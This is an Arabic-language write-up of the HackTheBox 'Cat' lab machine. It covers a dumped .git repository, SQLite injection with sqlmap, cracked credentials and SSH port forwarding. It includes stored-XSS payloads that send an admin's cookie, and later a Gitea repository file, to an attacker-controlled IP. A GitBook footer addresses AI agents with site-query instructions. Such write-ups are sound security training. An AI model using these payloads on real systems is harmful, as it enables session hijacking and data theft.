> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# تقرير Cat على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف الدلائل عشوائياً (ملف .git)
* تحليل الشيفرة المصدرية (تفريغ مستودع Git)
* استغلال XSS المخزن واختطاف الجلسة
* حقن SQL (SQLite) باستخدام sqlmap
* كسر تجزئات كلمات المرور
* إعادة توجيه المنافذ عبر SSH
* استغلال Gitea (v1.22.0) – XSS مخزن
* تسريب بيانات حساسة عبر حمولات XSS
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/c4f4291cb3c4c5c6219b7c64fe3c66f3c1935ca7" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/846d8e50e6635393b66960b609d0f7dc92f3dc39" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/c4e4f82b29159353b9e1a7a7328f7a3e205378c0" alt=""><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/a353e1ed3f50b0a59dfdb34f0344d70bf19d4138" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/d39a5487fd458918f5ac40c13296ab7c7a80efaa" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/a30de601dc869498e8ab9f6e29988527d08f4df2" alt=""><figcaption></figcaption></figure>

من خلال الوصول إلى `http://cat.htb` الموقع، ستجد نموذج تسجيل.

<figure><img src="/files/959895fefb923d2eb579bc0e51e6659de26df5f5" alt=""><figcaption></figcaption></figure>

نلاحظ أيضاً وظيفة للتصويت.

<figure><img src="/files/8a1b595af9e9c933f9677396367c887dd4106dba" alt=""><figcaption></figcaption></figure>

**استكشاف الدلائل عشوائياً**

نقوم بتشغيل `gobuster` لاكتشاف المسارات المخفية:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/471c29df9287a69371234936663c7d44078e1797" alt=""><figcaption></figcaption></figure>

يكشف هذا عن عدة ملفات مثيرة للاهتمام، بما في ذلك `.git` الدليل.

<figure><img src="/files/1bbb34c367fb7fa65024273b75b9505935e7c615" alt="" width="563"><figcaption></figcaption></figure>

**تفريغ مستودع Git**

نستخدم `git-dumper` لاسترجاع محتويات المستودع:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/e3ece3c0759adc236cd8453d5ae955ea3f1ab465" alt=""><figcaption></figcaption></figure>

من خلال فحص الشيفرة المصدرية، نحدد **ثغرة SQL** وكذلك احتمال **XSS مخزن**.

<figure><img src="/files/a17e93ce3f63bf02396cffeb0368b4c4ec641004" alt=""><figcaption></figcaption></figure>

## ثغرة XSS

التطبيق يقبل *اسم المستخدم* و *البريد الإلكتروني* الحقول دون تصفية مناسبة. وهذا يسمح بحقن سكربتات خبيثة.

<figure><img src="/files/ed4406098ad1155eb2d63a67d87d3daf42295a35" alt=""><figcaption></figcaption></figure>

**حمولة XSS**

ننشئ مستخدماً بالاسم التالي:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**استلام ملف تعريف ارتباط المسؤول**

نستمع على المنفذ 8081:

```bash
python -m http.server 8081
```

<figure><img src="/files/4cf05bf8b3f13e6ef667616bb94edf742236c242" alt=""><figcaption></figcaption></figure>

بمجرد التقاط ملف تعريف الارتباط، نحصل على جلسة المسؤول:

<figure><img src="/files/2724c4901c82a5682108be10edf60c88a79cd6ab" alt=""><figcaption></figcaption></figure>

نستبدل ملف تعريف ارتباط جلستنا بملف المسؤول ونصل إلى **وحدة تحكم الإدارة**.

<figure><img src="/files/d0e1f4a927c745992e87d86dc108e885303a53fa" alt=""><figcaption></figcaption></figure>

## حقن SQL (SQLite)

<figure><img src="/files/4c392c2fd7a04cce2c50a00da20029682c35a8ec" alt=""><figcaption></figcaption></figure>

مع صلاحيات المدير، شغّل `sqlmap` على نموذج ضعيف

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/0d2ed7572f32c520f09be0d4110c63e54df1eaa4" alt=""><figcaption></figcaption></figure>

**استعادة الهاش**

نحصل على كلمات مرور المستخدمين **تجزئات كلمات المرور**. فيما يلي بعض الأمثلة:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**كسر كلمات المرور**

باستخدام [CrackStation](https://crackstation.net/)، ننجح في تحديد كلمة مرور المستخدم `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/fde830af9556698af64b3c0683eccba76b60cf3f" alt=""><figcaption></figcaption></figure>

* **اسم المستخدم** : rosa
* **كلمة المرور** : soyunaprincesarosa

اتصال SSH باستخدام بيانات الاعتماد المسترجعة:

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/00edb88fa4ebda968cc85f7f8ce024687c0b72fa" alt=""><figcaption></figcaption></figure>

### الانتقال عبر المستخدم Axel

#### الاستطلاع باستخدام LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa موجودة في مجموعة `adm` المجموعة، الوصول إلى:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/9f955e46332aa0207b96d8fbb7af8992f8ef094f" alt=""><figcaption></figcaption></figure>

تم العثور على بيانات الاعتماد:

* اسم المستخدم: axel
* كلمة المرور: aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/973a86fce2e5dde51e0e30f7249bebc92418ab9e" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/43271e94387bd4ae0997130abb0132df6071c4f6" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### اكتشاف المنافذ الداخلية:

```bash
netstat -tuln
```

* **Node.js** (المنفذ 3000)
* **SMTP** (587, 25)

الخدمات المحددة

<figure><img src="/files/bbde598dab3c764ba90224c1b9229943188d1863" alt=""><figcaption></figcaption></figure>

#### إعادة توجيه المنافذ

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### ثغرة XSS في Gitea v1.22.0

على `http://localhost:3000` -> **Gitea** يمكن الوصول إليه.

<figure><img src="/files/ea59f80670c326b9be017c160e8d67e15ec87ae5" alt=""><figcaption></figcaption></figure>

سجّل الدخول باستخدام بيانات اعتماد Axel.

<figure><img src="/files/1536ad59beffc94e057f44b5e7bca1ca55645cea" alt=""><figcaption></figcaption></figure>

ثغرة XSS معروفة.

<figure><img src="/files/fd2ee16144e4c57441a3abedec9b180ac8683eb1" alt=""><figcaption></figcaption></figure>

ننشىء مشروعاً بوصف يحتوي على:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/2ed010f06f614427eb7a4964d3c3ace57f0cdddb" alt=""><figcaption></figcaption></figure>

* النتيجة:

<figure><img src="/files/7a2132d7e3643d44c1240c2f84397f04361f092a" alt=""><figcaption></figcaption></figure>

### البريد المعترض عبر LinPEAS

<figure><img src="/files/223f6a883dce063559013f6d052d5382ca83867d" alt=""><figcaption></figcaption></figure>

محتوى البريد الإلكتروني:

* يجب أن يتحقق jobert\@localhost من مستودع Gitea

<figure><img src="/files/e9397599a69be800480e4663bc50f2ae061d857e" alt=""><figcaption></figcaption></figure>

نرسل رابط XSS يحتوي على سكربت تسريب يقرأ محتوى `index.php` صفحة مستودع Gitea، ويشفّره بصيغة Base64، ثم يرسله إلى خادمنا الويب

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/418786ccb1b0a21b572ef34e0268e6a2c1d4c7be" alt=""><figcaption></figcaption></figure>

#### عبر خادم الويب الخاص بنا

```bash
python -m http.server 8080
```

<figure><img src="/files/11d81749e4e97bea40d36798adb790ba744af969" alt=""><figcaption></figcaption></figure>

#### المحتوى المُسرَّب (بعد فك base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/3bd547245aaaa0331bda8fbc1be2701d672db065" alt=""><figcaption></figcaption></figure>

#### تصعيد الصلاحيات إلى root

هناك إعادة استخدام لبيانات الاعتماد لمستخدم root

```bash
su root
```

<figure><img src="/files/86b98a3250f6fa22df9b16ec68f3d94c0e00debc" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/b0f6aa392dc2d96a74706857295ae79331968470" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/484e17b76698a2454e173bc6696cc937955327da" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
